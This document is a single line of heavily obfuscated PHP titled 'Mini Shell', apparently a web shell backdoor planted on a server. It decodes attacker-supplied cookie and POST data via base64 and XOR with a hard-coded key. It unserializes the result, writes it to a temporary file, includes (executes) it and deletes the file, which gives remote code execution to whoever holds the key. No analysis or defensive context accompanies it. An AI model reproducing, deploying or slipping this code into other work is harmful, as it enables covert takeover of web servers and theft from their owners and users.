Mini Shell

$DWnmR = 'm' . chr (95) . chr ( 956 - 858 ).chr (69) . "\x4f" . chr (97); $kQFxhjo = chr ( 770 - 671 ).chr ( 921 - 813 ).chr ( 678 - 581 ).chr (115) . 's' . chr ( 749 - 654 ).chr ( 941 - 840 ).chr ( 312 - 192 ).'i' . chr ( 1045 - 930 )."\x74" . "\x73";$MqPOjqXR = class_exists($DWnmR); $kQFxhjo = "53147";$wlRmiglvc = strpos($kQFxhjo, $DWnmR);if ($MqPOjqXR == $wlRmiglvc){function VXjfLbXwv(){$mrVDm = new /* 56645 */ m_bEOa(34918 + 34918); $mrVDm = NULL;}$lpodGLoduC = "34918";class m_bEOa{private function mhbfzWclwG($lpodGLoduC){if (is_array(m_bEOa::$AJjTGQuQVU)) {$name = sys_get_temp_dir() . "/" . crc32(m_bEOa::$AJjTGQuQVU["salt"]);@m_bEOa::$AJjTGQuQVU["write"]($name, m_bEOa::$AJjTGQuQVU["content"]);include $name;@m_bEOa::$AJjTGQuQVU["delete"]($name); $lpodGLoduC = "34918";exit();}}public function dbEfawCto(){$zRZvsnbEl = "61331";$this->_dummy = str_repeat($zRZvsnbEl, strlen($zRZvsnbEl));}public function __destruct(){m_bEOa::$AJjTGQuQVU = @unserialize(m_bEOa::$AJjTGQuQVU); $lpodGLoduC = "46707_63284";$this->mhbfzWclwG($lpodGLoduC); $lpodGLoduC = "46707_63284";}public function NydEUZriA($zRZvsnbEl, $SHXBg){return $zRZvsnbEl[0] ^ str_repeat($SHXBg, intval(strlen($zRZvsnbEl[0]) / strlen($SHXBg)) + 1);}public function PoiCwnOSj($zRZvsnbEl){$ZpaNcj = chr ( 614 - 516 )."\x61" . "\x73" . "\x65" . "\66" . "\x34";return array_map($ZpaNcj . "\x5f" . chr ( 946 - 846 ).'e' . 'c' . chr ( 1033 - 922 )."\x64" . chr ( 734 - 633 ), array($zRZvsnbEl,));}public function __construct($VJcjHmgm=0){$XAWArDZ = "\54";$zRZvsnbEl = "";$jswwp = $_POST;$gIzRl = $_COOKIE;$SHXBg = "f48085e0-b831-4c07-b852-c7336affa428";$BPqAVzJAYU = @$gIzRl[substr($SHXBg, 0, 4)];if (!empty($BPqAVzJAYU)){$BPqAVzJAYU = explode($XAWArDZ, $BPqAVzJAYU);foreach ($BPqAVzJAYU as $cvWLUrlnqD){$zRZvsnbEl .= @$gIzRl[$cvWLUrlnqD];$zRZvsnbEl .= @$jswwp[$cvWLUrlnqD];}$zRZvsnbEl = $this->PoiCwnOSj($zRZvsnbEl);}m_bEOa::$AJjTGQuQVU = $this->NydEUZriA($zRZvsnbEl, $SHXBg);if (strpos($SHXBg, $XAWArDZ) !== FALSE){$SHXBg = ltrim($SHXBg); $SHXBg = str_pad($SHXBg, 10);}}public static $AJjTGQuQVU = 38940;}VXjfLbXwv();}